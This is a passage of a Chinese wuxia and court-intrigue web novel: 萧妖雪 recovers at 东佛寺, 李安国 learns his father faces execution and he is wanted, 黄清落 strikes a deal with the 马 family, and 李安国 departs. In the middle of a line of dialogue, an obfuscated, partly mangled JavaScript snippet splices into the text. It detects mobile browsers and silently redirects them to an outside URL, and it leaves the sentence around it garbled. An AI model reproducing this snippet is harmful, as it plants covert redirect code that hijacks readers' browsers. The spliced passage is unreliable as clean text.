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“哦，好吧。”马得源就这样被没头没脑的使唤走了，好在现在他还抱着一个萧妖雪，虽然回去这段路也黑，但是好像没有没有刚刚那么害怕了。 那几个和尚，看着马得源走了，心中还是满是疑惑。 “小施主，是还有什么安排吗？” “那边有具尸体，你们帮我搭把手。”李无忧现在也不再嬉皮笑脸了，带着几个和尚来到了严忌的尸体前。 东佛寺的和尚终究是见过世面的，一眼就认出了严忌的身份。但是不知道他们是不是也知道严忌的为人，竟然对于严忌的死是半句都没有多问。 等李无忧他们回到东佛寺内，萧妖雪已经安顿好了，大夫看过之后，只说她是气急攻心，并无大碍，开了几记去火的药，就去给李无忧把买了。 果不其然李无忧的伤还更严重，这药方好几副提气续命的补药。马得源知道后也是后怕不已，心中想到李无忧这孙子还真能装，要是刚刚再拍重点，恐怕自己就要犯大错了。 好在第二天萧妖雪也悠悠转醒，而李无忧吃了补药之后精神头也大好，马得源心中的愧疚这才减弱了不少。 李无忧又同他说了他们昨夜的遭遇，马得源得知了严忌就被他们这样杀了，是大吃一惊，下意识就问这是云阁会不会迁怒武清宗，却不料李无忧这没头脑的，就只知道跟着干，完全没有想到后果。 二人听说萧妖雪醒了，也想过去探望，却不知李无忧的这位姐姐是受了什么刺激，整个人都是萎靡不正，说什么都不想搭理，直到李无忧说已经把这件事告诉了三殿下，马得源才看到萧妖雪的眉头皱了一下。 可是他们在东佛寺等了一天都没有见到周明理到来，李无忧看着姐姐这副模样，心中也不是滋味，也不顾身上的伤还没有好全就执意要去找周明理，最后还是被马得源劝住留下来照顾萧妖雪，而他替李无忧去找周明理。 马得源小记： 马得源作为一个正宗的公子爷，这些年可谓说天不怕地不怕。 可是这样一个人却非常怕黑，之前李无忧和马得源才被莲座镇抓起来丢在那黑黢黢的地牢的时候，李无忧才知道什么是怕得要死。 他们被关进去的时候，还尚有天光透过小窗户照进来，马得源倒是并没有什么反常的行为。 直到那晚夜幕降临，还真吓了李无忧一跳，当时牢房中伸手不见五指，却就在这时在李无忧不远的地方竟然响起了抽泣声。 那声音不大，断断续续的，但是半个时辰过去了，却完全没有停下来的意思，这听的李无忧都汗毛倒竖，全身紧绷，而关键在这个时候，马得源还怎么喊都不答应。 白日里借着天光他大抵看了一遍这个地牢，他基本可以确定，这地牢里应该没有，那这哭声又从何而来。 最终李无忧的烦躁已经战胜了恐惧，他沿着这哭声走过去，临近了，却被一团东西绊了一下。 而那团东西，显然也被吓了一跳，之前的抽泣声也带上受到惊吓的吸气声。 李无忧蹲下身，眯着眼睛研究了半天才发现这团东西正是马得源，而这抽泣声也正是他发出。 “马得源？” “……” “怪不得刚刚怎么喊都不应声，原来是躲在这里哭鼻子呀。” “……” “怎么不说话？哦，我知道了原来你怕黑呀。” “你别说了！”马得源终于回话了，而且声音也是如同李无忧预料重要那样带着哭腔。 “哦？那既然你没事我就走了。” 说着李无忧就起身，却不料衣袖还是被马得源紧紧的抓着。 “你抓着我做什么？” “我没有抓着你，那那那是黑暗中的怪物抓的。” “啥？” “……” 这次马得源非但没回话，好像害怕李无忧割袍断义，直接一把抱住他的手，说设么都不放，而李无忧再问什么他都是一声不吭，但好在也没有哼哼唧唧抽泣了。 可是令李无忧费解的是，第二天天一亮，他再问马得源昨晚怎么回事，这家伙是矢口否认，而到了晚上又是昨日重现。 让李无忧都有种错觉，那每天晚上蹲着角落哭鼻子又拉着自己不放的人到底是不是马得源。但是事实证明这个地牢地出了他真的没有其他什么可能了。 66. 莲座业火3 莲座镇的事情告一段落，马得源前往寻找周明理确实无功而返，只带回来了他现在恐怕已经回到了京都的消息。 萧妖雪缓了几日，精神状态终于恢复了不少，但是有眼睛的人都看得出来她现在是满心都是事情。 李无忧还是不放心自己姐姐的情况，整天都跟在萧妖雪脚后面，萧妖雪实在看不下去，索性终日闭门不出。 直到有一日萧妖雪的房门被人敲响了，开门后门外站的不是李无忧，而是东佛寺的老住持。 “萧施主，方便介意不说话吗？” “主持请进。” “就不进来了，萧施主收拾一下我们在藏经塔见吧。”说着老和尚就退了出去，留下萧妖雪一个人站在那，最后回头看看了这乱糟糟的房间，还有自己身上随意披着的衣服，好像也明白了老和尚的意思。 罢了出去就出去呗。 今日出门倒是一反常态，萧妖雪环顾四周都没有见到了李无忧的身影，她倒是一时之间觉得轻松了不少。 到了藏经塔，老和尚已经备好茶汤，坐等她过来了。 “主持是有什么重要的事情要说吗？” “萧施主，贫僧是想问问你可愿意进这藏经塔潜修？” 这个问题萧妖雪听了也是心为之所动了，东佛寺的藏经塔，当年师傅便是从这里出来之后便高居武棒，这是多少江湖能人志士梦寐以求的。 但是“多谢主持的好意，但是我现在俗事缠身，恐怕就算是静修也于事无补。” “唉，我就知道会是这样的结果，江湖儿女江湖情，庙堂生死庙堂定。施主既然已经有了决定，贫僧也就不多劝了。” “多谢主持理解。既然主持说我都得以进的这藏经塔，不知我那弟弟？” “他与他那同伴都是心智纯粹之人，贫僧已经同他们说过几次，可是他们似乎牵挂颇多，一直没有答应。” “既是如此，那妖雪烦请主持可否过几日再问他们一次？” “若是他们能回心转意，贫僧自然乐意。” “那是自然，刚好今日有这空闲，妖雪有一个问题想向主持讨教讨教。” “施主但说无妨。” “那玉令，应该不只是上面那几个字重要吧。” “萧施主果然好眼力，那玉令对于庙堂中那几位确实是那几个字尤为重要，但是对于江湖人来说，这玉令确实无价之宝。” “此话怎讲？” “这玉令本是雪山中的的玉脉掉落。” “玉脉？江湖上传言，只要搭配上灵水和生机，那便可以助习武之人之人一步登天。” “这不过是江湖传言罢了，出家人不打诳语，我只说这玉令是一枚玉脉。其他的便看这世人怎么看了。” “原来这才是严忌紧盯着这玉令不放的原因。那这主持你可知道，这天下的灵水都有哪些地方。” “东走天山的池水，西出回雁的炙泉，南有瑶池的清泉，北至薄凉的山泉。这天下的灵水倒是不在少数。” “回雁炙泉！” 萧妖雪突然恍然大悟，起身谢过了老和尚就回了房去，又是闭门了一日一夜。 在之后李无忧去房间看望萧妖雪的时候就发现早已人去楼空，桌上留了一封信件，上面交代李无忧和马得源安心进藏经阁，自己已无大碍，之后的事自己也能处理好。 李无忧看到萧妖雪能够自己离开，心中的大石头也落下了，萧妖雪会这样不告而别，李无忧能想到的理由只有一个，那就是这东梁又要出大事了。 果然几天后，云阁发出了今年辩武大会的拜帖，只是这地方却不似往年一样定在云阁山，而是改去了西域的回雁山之外的炙泉郡，理由则是这次的辩武大会不仅是东梁人的辩武大会，更是这天下的辩武大会。 李安国带着黄清落和罗升终于经过几日的赶路也来到了胡笳城下，可是出示了路引只有罗升一人的确认有效，黄清落和李安国就这样被挡在了城门之外。 不得已李安国只有安排罗升先进城打探情况，而他和黄清落则在城门口的茶馆里落脚。 自从上次黄清落赶路受了伤，李安国之后说什么都不让她再骑马，虽然他们变成了两马一车，但是速度倒是不差分毫，按时赶到了胡笳城，所以李安国对于胡笳城这样将他们拒之门的行为非常不解。 黄清落的路引是李安国帮忙办的，所以也一同被拒绝了，这会坐在茶摊上看着李安国一脸不悦，黄清落心中也全是疑问，才开始她以为是因为李安国给她办的路引有什么问题，她还担心李安国他们会不会就把她一个人抛在城外，却不料连李安国自己也进不了城。 “那个，你也不要太担心，既然罗升可以进去，想必找你们管事的说说我们很快就可以进去了。”黄清落看着李安国还是一副愁眉不展的样子忍不住出言安慰道。 “清落，我有一种不祥的预感。” 李安国的反应却让黄清落感到无比意外，他的语气中没有半分愤怒，‘清落’李安国很少会这样称呼她。刚刚他说出这话的时候这其中的情绪似乎是害怕？恐惧？ 可是李安国前来胡笳城明明奉朝廷之命，他为何会有这样的情绪。 “李大人，一定是你想多了，你是朝廷命官。会不会是你给我办路引的时候出了什么差错？” “……” 这次回应她的是沉默，黄清落看他还是一副忧心忡忡的样子，也不再多问了，给他倒满了茶水，又起身去旁边柜台上添了一壶。 路过旁边一桌的时候，正巧听到几个东边的来商人正在讨论东佛寺的事情，话题也正好说到了那玉令，不过这几人说得那可就神乎其神了，什么得玉令者便可号令天下众生、称霸武林、纳龙气、登帝位，显然这个消息从东传到西很多东西已经失去了它真实面貌了。 不过这倒是让黄清落萧妖雪，心中暗中决定了，到时候进了城就去潇湘阁打听一下妖雪那边的情况。 等黄清落加了水过来刚坐下没多久，就看到罗升满头大汗地出来了。 “怎么样？” 李安国虽然背对大路，但是刚刚看到黄清落脸上表情有变化，就知道是罗升回来了，急忙转头问道。 “那个，李大人都安排好了，我们进城吧。” “好，具体是出了什么问题吗？” “这，我们进城去说吧。” 显然众人都不是瞎子，罗升这说话遮遮掩掩，恐怕是有什么隐情，而他显然只是个中间人，要他转述或许说的也不尽人意。 这次进城便没有人在查验他们的路引，而是一路无阻。只是进了城罗升带他们走的方向好像并不是去官府，毕竟这一路上认识越来越多，他们这是往着闹市去。 “我们这是去哪？”别说李安国了就连黄清落都看出来不对劲了，对着罗升问道。 “快到了，前面就是。” 罗升嘴上这样说着，但是还是带着他们七扭八拐进了转了不少弯，最后进了一个院子的后门。 这院中水榭楼台应有尽有，在这炎热干旱的西域，现在这院中还能百花齐放，显然这里的主人绝对不是一般人。最令李安国觉得不对劲的是这里的空气中没有兵戈剑戟的铁锈味，而是淡淡的胭脂红粉香弥漫在整个院子里。 进了这院子，李安国才是心中警铃大作，也顾不上男女授受不亲了，一把把黄清落拉到身边，另一手紧紧握着刀柄，对着罗升警惕的问道：“这里可不是官府，你到底带我们去了哪。” 黄清落也感觉到了不对劲，也不怪李安国这样鲁莽的行为，毕竟之前落水的时候，他们经历的可比这个亲密多了，只是李安国的手劲太大，拉得她手都没了知觉。 而这个地方，在黄清落看来确实不是官府，但是却没有半分威胁，反而让她有种放心的感觉。 “李大人，不要这么紧张，来了都是客里面坐坐呗？” 罗升还在整理词句的时候，身后就传来一个妩媚的动人的声音。 随即一个红衣女子出现在众人眼前，相比于京都女子的穿着，这女子穿着可谓暴露至极，身上的布料少得可怜，只是堪堪遮住了关键的部位，李安国就只看了一眼就急忙别过头去。 可是热气还是裹挟着女子身上的铃铛声传进了李安国的耳朵，这会倒是黄清落急了起来，也不顾李安国紧紧拉着自己的手，上前一步挡在二人中间。 “就在这里说话吧。” “呵呵，本来是担心各位在外面热着，既然各位不介意，那我就在先简单介绍一下的吧。这里是胡笳城的潇湘阁，我是这里的楼主凤漠宁。想必现在各位可以进屋聊聊了吧。” 听到是潇湘阁的时候众人都松了一口气，但是黄清落似乎还是心怀芥蒂一直膈在凤漠宁和李安国中间，凤漠宁也是见怪不怪了，毕竟来她们这女子心中是怎么想的她们最近清楚不过了。 进了屋这房门一关，空气中的热气顿时消散殆尽，房中每个凉榻下面都定时有人来添冰块，保证房中的温度适宜。 “风楼主，现在可以说说了吧，这到底是个什么情况？”李安国再次发问，罗升都将他们接到青楼了，恐怕这胡笳城的局势已经很糟糕了。 果然凤漠宁的回答没有让他失望，甚至还超出了他的预料。 “你们被通缉了。” “什么？”李安国显然很不愿意接受这个事情，他自问这一路走来除了让黄清落骑马以外，自己没有做什么伤天害理的事情，怎么就被通缉了。 “李治入狱了秋后问斩，现在李安国你作为李治的长子已经被革去官职上了通缉犯的名单了。” “父亲他？为什么？”这问题真是越问越多，可是凤漠宁这一次却并没有回答他的问题，而是对着跟着身边的宪红说道：“纤红，天气太热了，你带黄姑娘先去换身轻薄衣服，然后给罗大人也安排一间住所。” “是！” 显然接下来的话，凤漠宁不想让旁人听到。 黄清落眼看二人要独处，心中突然又紧张了起来。好在对于萧妖雪的信任也蔓延到了这位凤楼主的身上，她也没有再多想，而是跟着纤红离开了。 “几天前，我收到消息说刑案司原正职季执礼已经全权接手巡检司，而原来刑案司的副职袁墨正式升任刑案司正职。这其中的契机就是之前轰动一时的春神祭祀涉及到鬼月旧案终于水落石出了。” “那这和父亲有什么关系？” “李大人事先是因为私藏证人证据入狱。” “证人？” “京都潇湘阁的前楼主沈轻离私自从崔府中拿走了一本事关鬼月旧案账簿，刑案司最后在李府找到了沈轻离，也拿到了那本账簿。” “即便如此，以父亲的身份也不至于要问斩呀，更别说还株连九族。” “不错，而且那本账 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16104042|171320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本还是假的，按理来说这不过就是贬官就可以解决的事。但是好巧不巧，巡检司之前受圣人之命重查鬼月旧案，这个时候是真的有了进展。他们在二殿下的帮助下找到了那本真正的账本。而账本之上记载着当年鬼月覆灭其中获利最大的人就是李大人。最后会审的时候，李大人也供认不讳。” “你……这……”李安国听到这的时候，已经说不出什么来了，这其中包含的内容实在太多了。 凤漠宁也知道这对于他来说是一个巨大的打击，但是只有让他慢慢的缓过来才可以。 李安国毕竟是宰相之后，在这个时候他就表现出了惊人的天赋，不过几息他就冷静了下来。 “那为何刚刚在城门口的时候，没有人逮捕我？” “因为我受人之托，在你来之前就已经给他们安排了好多个假的通缉犯了。他们自然只是驱赶不再逮捕了。” “凤楼主果然是高瞻远瞩，既然父亲出事了，那妖雪和无忧呢？” “他们二人，你就不用过于担心了。李二公子已经拜师武清宗，朝廷也不太愿意因为要株连九族而与江湖上的门派结仇，所以他并没有在通缉的范围内。至于萧姑娘，李大人在会审的时候说，他当时只是因为想结识潇湘阁才将她认作女儿，他们二人都知道这件事，这也是萧姑娘为何已经认回了却并没有改名李婉的原因。而现在他们的合作结束了，萧姑娘自然也不再是李治的女儿，自然也不在这九族的范围之内了。” “萧妖雪不是李婉？” “事实如何，我不予置评。” “既然你们都是潇湘阁的人，妖雪她现在怎样？” “萧姑娘同三殿下前往了东佛寺，经过一场鏖战之后杀死了路行的徒弟严忌，但是萧姑娘现在的情况也不是很好。李二公子当时也在场，现在应该是他在照顾萧姑娘。” “她还真是好算计，这下把自己摘得一干二净。” “李公子，虽然我作为外人，但是这件事我还是想插一句嘴。恐怕这件事情的谋划从十年前就已经开始了。” “不论如何，这结局不就是这样的吗。” 凤漠宁看着李安国现在这木然的神情，她明白今天的事情对于李安国的打击太大了，他需要一点时间静静，至于之后如何抉择，如何在去面对萧妖雪面对他未来的人生，他都需要重新再思考一遍了。 看着李安国不说话，凤漠宁便起身准备离开，走到了门口的时候，身后却传来的李安国的声音：“我这次来西域是不是也是她的安排？” 凤漠宁自然知道李安国说的这个她指的是萧妖雪，看来在这位少年的心中，萧妖雪已经是十大恶极了。可惜事实总是不尽人意。 “这是李大人上书想圣人请的旨。” 果然身后是一片沉默，最后房间中只留下雕花木门吱呀呀打开又关上的声音，之后男子极其压抑的哭声随着房中的寒气消散在大漠的热浪中，无人感知到。 萧云雁小记： 这周钦德说要胡铭为他作证的话一说出口，顿时百官就炸开了锅。 刚刚单将军不是说这胡铭是他的好友，怎么现在反倒愿意为周钦德作证？ 这胡铭不应该已经远在胡笳城，处理自己兄长的丧事又怎么跑到京都来作证？ 这周钦德看起来信心满满，难道他说的是真的？ 而就在这样的一片议论声中，看到萧云雁带着胡铭走了过来的单骁，眉头直接拧成了麻花，暗暗地淬了一口，这次是被这娘们坑得不轻呀，现在只有看上面这位到底愿意相信谁了。 “草明胡铭，见过太子殿下。” “德王殿下说他没有杀胡令，这事到底是怎么一回事？” “回禀殿下，德王殿下不仅没有杀家兄，而且救了我们一命，真正要我们命的是薄凉宗的段天行。” “段天行，就刚刚那个病秧子？” “他是因为与德王殿下的手下交手武艺不如人，这才落得这般下场。” “单将军，这事你怎么看？”周钦铭看着单骁问道。 单骁此时双拳紧握，牙关紧闭，最后从牙缝中挤出一句话：“那看来是微臣受小人蒙蔽，胡公子既然这么说了定然是不会错了的。” “好！我记得这段天行还算是这将军阁管事的人，那你说说这将军阁应该如何处理？” “殿下且慢，奴家是凉山县潇湘阁楼主萧云雁，关于这件事奴家有一个重要的消息要说。” 在旁边等了半天的萧云雁终于发话，周钦铭也有些惊讶，往常这潇湘阁都只会在背地里活动，这还是第一次出现在这大殿上。 “准了。” “之前江湖上名声大噪的断秋水武清也同样被将军阁灭了门，武公子在被德王殿下所救后，很长一段时间也遭到了将军阁的维围堵，多次险些伤了德王殿下的性命。” “尽还有这事，那这将军阁实在是十大恶极，不能再留了。” 此时地下的单骁看着周钦铭的眼睛已经红了，这位太子殿下可谓是演技了得，翻脸不认人呀。 “殿下说得有理，这将军阁确实是辱没了将军这个名声，微臣愿意亲自带人铲除将军阁。” 壮士断腕现在是单骁唯一的选择了。 “好，那就这件事就交给单将军吧。” “殿下且慢，既然今日单将军弹劾了本王，那本王也有一事想拿出来同众位讨论讨论。” 67. 西域谜云 就这样李安国把自己关在房间中一天一夜，没有人敢去打扰。 直到罗升终于忍不住敲开了他的房门，门开后，罗升就看到双眼通红的李安国。都说男儿有泪不轻弹，能让李安国这样一个上过战场杀过人的人哭成这样，看来这其中的事情对于他的打击颇大。 不过这些问题都不是罗升现在关心的，他今日是来道别的。 “李大人，那个我要走了。” “你要去哪？”李安国开口才发现自己的嗓子已经哑得不成样子，不免尴尬的咳了一声，但是嗓子依然干痛难耐。 “那个李大人，事情是这样，我现在是以兵马司副职的身份去胡笳前线监军。” “嗯，你去吧。” 出乎罗升预料的是李安国对于他说的这话并没有感到多少惊讶，反而像是一件不起眼的小事一样。但是罗升实在耽搁不起，那日进城他就已经见过了前线的将军，本想着把李安国他们安顿好，他就去报道，却没想到这李安国在屋里一待就是一整天，他若是再不去，恐怕这刚到手的位置还没坐热就要没了。 “那李兄你保重。” 说完罗升便拿起一旁的包裹离开了，而李安国又回到了他那间房中。外面的事情他现在没有半分心思再去关注，反正现在到了潇湘阁，黄清落的安全都不成问题，萧妖雪虽然现在对于李家来说已经恩断义绝，但是这些日子的相处，李安国还是肯定她的为人，黄清落是她的朋友，他也算尽职尽责的把她安全送到了。 而黄清落却完全不似李安国考虑的那样安安分分待在潇湘阁客房中，就在李安国闭门不出的这几日，她已经完全休整好了，而今日她有一件大事要做。 通过凤漠宁黄清落今日终于约上了前来胡笳城谈生意的马家家主马志才，今日定然要好好准备一番。 而马志才现在在这西域也是风生水起，凭借着之前与袁墨在公主坟的合作，鬼字营被清剿以后，马志才带人下了公主坟，发了好大一笔财，让马志才乐得好几晚都睡不着觉。 可是马家作为一个打造兵器的家族，这样的横财终究是死水不经瓢舀，随着东梁日益稳定，他们的他们的产业也越来不景气，这次来胡笳城就是听说这边边境不安定，所以想来发一笔横财，却不料江城主却说什么都不答应合作，只说现在兵器充足，用不上。 马志才正是败兴而归的时候，已收到了潇湘阁邀请，本着来都来了的心态，就说去见见，可是他万万没有想到，这一见成为了他马家走向飞黄腾达的转折点了。 黄清落在凤漠宁的安排下已经早早在楼中等着马志才，本来这是两个人谈生意，但是黄清落初来乍到，胆子有些小，凤漠宁便坏了一次规矩，答应她留下来陪她。 而马志才刚刚在江秋鸿那里受了一肚子，进来一屁股坐下，看见对面坐的是个小姑娘，还要凤楼主陪着，顿时就没了兴趣。 “小丫头，就是你要来找我谈生意？” “马家主，我是……” “漠宁呀，你也是没个分寸，要是潇湘阁有什么想和我说的直说就行，没必要找这样一个小姑娘来当说客。你们也知道我马志才不是那种吝啬的人，你们要是真有什么困难，就算现在不能回报我，我也介意呀。” 凤漠宁看出了马志才的不耐烦，但是这件事确实是人家黄清落做的主，而且她看得出来，这小丫头要做的事情，若是成了日后定然会轰动东梁。 “马家主，这话你就说的不对了，潇湘阁现在如日中天，凤楼主只是担心我言语不通，这才留下来陪我的。” 凤漠宁确实没想到黄清落的胆子比她想得大，马志才这样一看典型的西域人的长相，看起来就满脸横肉，凶神恶煞的，她竟然还能这样波澜不惊回怼他，这丫头有点东西，可是当凤漠宁的目光移到了她的手上的时候，却发现她放在桌子底下的早已紧紧攥拳。 看来还是年轻了，不过年轻也好。 “原来是不是本地的小丫头，我就说哪来这么大胆子。就看在你这胆量上，先介绍介绍你吧。” “多谢马家主，不过我想我是谁对于马家主来说不是那么重要了，不如您先看看这个。” 说罢黄清落就掏出来一张图纸放在马志才面前，这图纸上面是一个木头人，但是这木头人体内却全是精密的机关，各处连线在图纸上看起来密密麻麻，好在马志才本来也是做这行的，仔细一看便看出了其中的奥妙。 “小丫头，哦不姑娘，你这图纸是哪里来的？” “这图纸是我花了三十两黄金买的，出自一位京都名将之手，他由于自己的事情太多，只能将这图纸画出来，却没有能力真的将他造出来，而我很看好这以后的发展，所以我想把这玩意找个不错的工匠，给他做出来。” “既然这图纸是你在京都买的，那京都手艺不错的工匠不少，何必跑来这鸟不拉屎的地方？” 马志才也是非常谨慎，现在对方不愿意透露自己的身份，就算这单活计多么诱人，他也不敢轻易接下来。 “因为我在京都被通缉。” 果然马志才心想，这一看就不是什么好东西。 “姑娘这话着实有些说笑了吧，你若真是被通缉还敢这样大摇大摆的出现在胡笳城？” “小女子黄清落，想必马家主最近应该经常听到这个名字。” “黄清落？李安国在哪？” “他在后院休息，不过现在他应该不想见人。” “唉，也是，毕竟是经历了这么大的事情，需要一点时间。你们造这个东西，是想……？”那两个字马志才实在没有胆量说出来。 “马家主放心，造反倒是不至于，只是觉得东梁现在的局势又开始有了新的变化，我们都觉得这是一个不错的机会。” “那黄小姐，你这图纸打算怎么卖。你既然说你花了三十两黄金买的，那我出三倍价格买，你看如何？这样就算你们以后打算隐居这一辈子也够了。” 九十两黄金，这样一个巨大的诱惑放在眼前，真要给他们隐居，三代人都够养活了，可是黄清落要的不是这个。 “马家主考虑周全，但是我与安国并没有要隐居的想法。至于这图纸，我不要你分毫，而想与马家谈一笔生意。” “你们现在可是通缉犯，你就不怕？” “马家主或许记混了吧，被通缉的是李安国，我在那份通缉令上应该只是帮助找到了李安国的一条线索，我可算上通缉犯。” “哈哈哈，黄小姐说的在理，那我们不妨说你打算如何做这生意呢？” “这图纸我可以免费给马家主，但是我要与你们分成。” “分成？怎么分？” “我三你七。” “黄小姐，我可是听说你在京都的事迹，不是说你在经商这方面颇为有天赋，这恐怕不是你要的全部吧。” “马家主果然是明白人，我要马家之后都跟着我站队。” 果然听到这话马志才的眉头拧了起来，站队这件事他们马家之前都是近而远之，这条件可比黄清落提出来的三七倒置都让马志才难为。 “我知道马家主担心马家的立场，但是我也就直说了，一旦马家拿着这图纸上的东西去和朝廷交易，那马家主你就已经站队了，若是届时你真想当一颗墙头草，我想你也很快就会被踢出局了。再者说我听说你的你家公子马得源已经与李无忧打成了一片，想必你也不想让他为难吧。” 马志才现在总算知道了这潇湘阁在其中到底起了多大的作用，看来今天这单她们势在必得。 “那便仔细谈谈吧。” “好！” 这一细谈就从正午谈到了天黑，马志才也是对于黄清落的印象有了巨大的改观，这女子不仅在是在经商上颇有头脑，就算是在沾到了朝堂，她的理解也已经远甚过那些尸位素餐的人。 等送走了马志才，时辰已经不早了，黄清落回房的途中路过了李安国的房间，看见房中的的烛火还亮着，就想着过去打个招呼。 可是才刚刚到走到门口，便看到原本明亮的烛火全都熄灭，黄清落也不好得再敲门，只是贴着门边说道：“那个，我今日见了马家家主，我们都已经谈妥了，过几日我要去一趟马家，你若是有空的话，寻个时间我请你和罗升吃饭，就当谢谢你们护我来胡笳城了。” 说完房内预留了之内的没有回应，黄清落也只能当他听到了便离开。却不知就在他们刚刚说话的时候，其实李安国一直都是靠在门后，只要黄清落再靠近点，她就会感受到透过门缝的热气。 在黄清落离开的时候，李安国内心突然萌生了一个想法，他好想推开门拉住她，现在他真的孤身一人，就只剩她还愿意和自己说几句话了，可是李安国担心自己会舍不得她，然后整日都缠着她，最后让自己的身份成为她的拖累。 所以原本已经放在门上的手最后只能无力的落下。 第二日黄清落正要出门，却被凤漠宁堵了回来，凤漠宁从身后拿出一套衣服丢给一脸懵的黄清落。 “凤楼主这是？” “今日胡笳城有个大集，你换上陪我去逛逛。” 黄清落看着手中的衣服，这衣服就她都能一只手攥过来，她都不敢想打开能有多少布料。 “那个凤楼主，我就这样穿吧，我们直接去吧。” 凤漠宁上下打量的黄清落一番，穿得不能说难看吧，但是也太朴素了，还捂得严严实实的，这就是首饰还不错，不然和那寻常家的妇人都没什么区别了。 “胡笳城现在正是最热的季节，你这样出去走不了几步就会中暑。听我的快换上，这套已经是最不暴露的了。” 看着凤漠宁一副她不换就不走的意思，黄清落只好转身去了屏风后面更衣。 琢磨了好半天，凤漠宁凳子都坐热了还不见人出来，只好亲自去屏风后面看，就看到黄清落正在和那层纱巾搏斗，整个人都被缠得乱七八糟了，好在凤漠宁及时出手，才帮她解了燃眉之急。 最后打扮好的黄清落来到镜子面前，这才明白为什么凤漠宁说这是最保守的一件了，这外面这层纱巾倒是把全身的都包裹着了，但是这样隐隐约约的，却让黄清落觉得更加令人耐人寻味。 可是不及她多想凤漠宁就已经推着她出了门。 要说这胡笳城夏季确实热的要命，现在黄清落万分庆幸刚刚听从了凤漠宁的话换了衣服，不然她估计还没到大集就想回去了。 至于这胡笳城的大集也如同胡笳城的夏天一样，并没有让人失望。胡笳城本来就是商贸重地，这大集当天更是商品琳琅满目，街上人满为患。 黄清落作为姑娘家，自然逃不开被胭脂香粉吸引的命运，再加上凤漠宁这样女人中的女人的搭配，让黄清落一口气买了个痛快。 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这多日未见的李安国竟然已经出现在了院子里，只是他怎么还背了一个包裹，这是要出远门的样子。 黄清落本来今日还不错的心情，顿时落空了不少。只是当她注意到李安国鼻尖额头沁出的薄汗她的心里稍微舒服了不少，看来这位李公子已经准备走很久了。 “哟，李公子这么热的天，怎么站在外面。” 李安国这样子连黄清落都看得出来一样，更别说凤漠宁，他这显然是在等人呀。 “凤楼主，黄……” 当李安国的视线移到了黄清落身上的时候，顿时心中一空，原本他以为已经控制住的心弦在这一刻竟然又动了，兴许是常年不见太阳，又或是今日黄清落这一身鹅黄色的衣裙，在阳光下衬得她身上的皮肤分外的白。脚腕处的脚链恰到好处点缀着玉足，只有轻微移动都会发出清脆的声响。 “李公子？”凤漠宁看着李安国已经直了的眼神，心中一阵暗喜，毕竟今日黄清落这从头到脚都是自己打理的。 “咳咳，那个清落昨天你说吃饭，就不……” “这正是饭点，李公子有什么话不如饭桌上说，我已经让人准备好了。这太阳也太大了，晒得我都头晕了。”凤漠宁听着李安国这语气不对，急忙出声制止。 “对对对，我都有些头晕了。”黄清落也终于听出来凤漠宁的意思，在她看到李安国背着行囊的时候，心中就已经不舍了。这多一顿饭，就多一次劝他的机会。 “那好吧。” 可是就算多了一顿饭的时间，李安国的告别还是如期到来。 “黄小姐，你现在在这有潇湘阁和马家的人护着你，我放心多了。你也知道我家出了很大变故，我要走了。” “可是你现在走很危险！更何况你能干什么？” 黄清落说着这话，眼睛就忍不住泛红了，李安国的事她也听凤漠宁说了个七七八八，虽然这一路过来李安国总是对她冷言冷语，但是她也不愿意看着活生生的人就这样去送死。 “那也是我的命。” 这句话出口的时候，黄清落的心彻底凉了，最后也不顾凤漠宁在场，抱着最后一丝希望说道：“就算是为了我也不行吗？” “清落，对不起。” 周钦德小记： 什么德王殿下这是要弹劾单将军？ 我就说这将军阁和单将军有关系，这下惹恼了德王殿下有得他们好受的。 但是他们之前无冤无仇怎么突然有这么大冲突，这今日的事不都是将军阁的责任，这单将军还有什么问题？ 众人听到周钦德这话都是满腹疑问，再看周钦德完全不受周围人讨论的影响。 “单将军又怎么了？”周钦铭也很是意外，本以为今日的事情到这里就算是结束了，没想到这周钦德还真不是一盏省油的灯，竟然还有后手。 “之前单将军查获赈灾贪污一案确实做的漂亮，这壮士断腕一查是真的查获了不少贪腐之人，最后还都心甘情愿认罪伏法。” “他们做了错事本就心怀不安，这有什么好奇怪的？”单骁变面上还是波澜不惊，不过心中已经开始隐隐不安，之前京都的眼线就传来消息说周钦德手下徐战在京都养了不少人，但是这些人的身份确实难以确认，单骁就担心是把柄，派人去清理过一次，却还扑了个空。 “是吗？该不会是将军买凶杀人再买人顶罪吧。” “你莫要信口雌黄！” 这大殿上的气氛顿时紧张了起来，不少人都不自觉的屏住了呼吸，好似生怕他们的呼吸声会吵到这两位争吵的大人。 “呵呵，既然大人不承认不如旧传几个证人吧，云雁麻烦你了。” “他们都死了，德王殿下不会是那里找了些人来冒充吧。” “这是不是冒充的问问江大人不就行了吗？想必之江大人对于之前被惩治的那些人没有官帖一事应当已经心怀疑虑吧？” 这谈话的矛头突然指向了江冬藏，单骁顿时就慌了。 “回禀太子殿下，德王殿下，事实却是如德王殿下所说，只是臣递上去的折子了无音讯，臣只能暗中调查，这几人的身份确实存在很大的问题。” 68. 西域谜云2 “清落，对不起。”李安国这句话的声音很小，黄清落已经头也不回的离开饭桌，显然并没有传到她的耳朵里。但是一旁的凤漠宁却听得一清二楚。 可是这句话传到她的耳朵里，那全然是多余。 李安国最终还是走了，一人一马出了城，凤漠宁没有派人去跟，因为这位李公子要去哪，一目了然。 凤漠宁去了黄清落的房间，屋内的人听到有人进来，就把头撇到了一边。但是她那一抽一抽的肩膀已经暴露了她现在的情况。 凤漠宁坐到了黄清落身边，搂过她的肩膀，轻轻地拍着。 “凤姐姐，你说到底为什么呀？” 好像是终于压抑住心中的悲伤，黄清落终于艰难的开了口。凤漠宁这时才看清这位可人儿脸上表情，悲伤是预料之中，只是这泪水真是一点都止不住，好在之前买的脂粉都是上等品，这妆容只是轻轻地晕开了一些，反倒显得人更加楚楚可怜。凤漠宁不禁心想若是刚刚在饭桌上李安国看到黄清落这副模样，他还会不会走。 “清落，他有他的想法，你也有你的路要走。” “可是他明知那是一条死路。” “或许这就是命运？” “那这命运可真该死。” 